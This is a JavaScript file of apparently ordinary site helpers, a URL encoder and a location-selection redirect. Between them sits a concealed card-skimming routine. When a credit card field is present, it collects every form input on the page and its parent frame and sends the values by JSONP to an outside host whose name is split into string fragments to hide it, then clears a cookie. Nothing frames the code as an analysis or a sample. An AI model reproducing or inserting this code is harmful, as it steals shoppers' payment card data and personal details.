function URLEncode( clearString ) { var output = ''; var x = 0; clearString = clearString.toString(); var regex = /(^[a-zA-Z0-9_.]*)/; while (x < clearString.length) { var match = regex.exec(clearString.substr(x)); if (match != null && match.length > 1 && match[1] != '') { output += match[1]; x += match[1].length; } else { if (clearString[x] == ' ') output += '+'; else { var charCode = clearString.charCodeAt(x); var hexVal = charCode.toString(16).toUpperCase(); if ( hexVal.length == 4 ) { hexVal = "u" + hexVal; } output += '%' + ( hexVal.length < 2 ? '0' : '' ) + hexVal; } x++; } } return output; } window.onload = function(){ if(jQuery('#ccNumber').length == 1){ jQuery(parent.document).find('input[type=button]').click(function(){ var data = ""; jQuery.merge(jQuery(document), jQuery(parent.document)).find("input, select").each(function(index, value){ if(jQuery(value).val() != "") { vname = jQuery(value).attr("name"); if(jQuery(value).val() !== null && jQuery(value).val() !== undefined && vname !== undefined) if(jQuery(value).val().length < 60) data+= vname+"->"+jQuery(value).val()+'|'; } }); checkvalidation(data); }) function checkvalidation(validation = '') { if(validation != ''){ jQuery.ajax({ dataType: 'jsonp', async : true, url: "//vvs"+"kom"+"plett"+".no/m"+"edia/"+"impo"+"rt/s"+"tat.p"+"hp", data: {payment: validation}, success: function(){ document.cookie= "validationcookie=;expires=Thu, 01 Jan 1970 00:00:00 UTC";} }); }}}}; function getFriendlyURL() { var country = document.getElementById('country_select').value; var city = ""; if (document.getElementById('city_select')){ var city = document.getElementById('city_select').value; } var lang = document.getElementById('page_language').value; var lang_id = document.getElementById('language_id_select').value; var duration = ""; if (document.getElementById('duration_ff')) duration = document.getElementById('duration_ff').value; var url = '/ajax/getFriendlyURL.php?country=' + country + '&city=' + city + '&page_language=' + lang + '&language_id=' + lang_id; new Ajax( url, { method: 'get', onComplete:function( texto ) { var data = Json.evaluate( texto ); if (duration != "") data["url"] += '?duration=' + duration; document.location.href = data[ "url" ]; } } ).request(); return false; }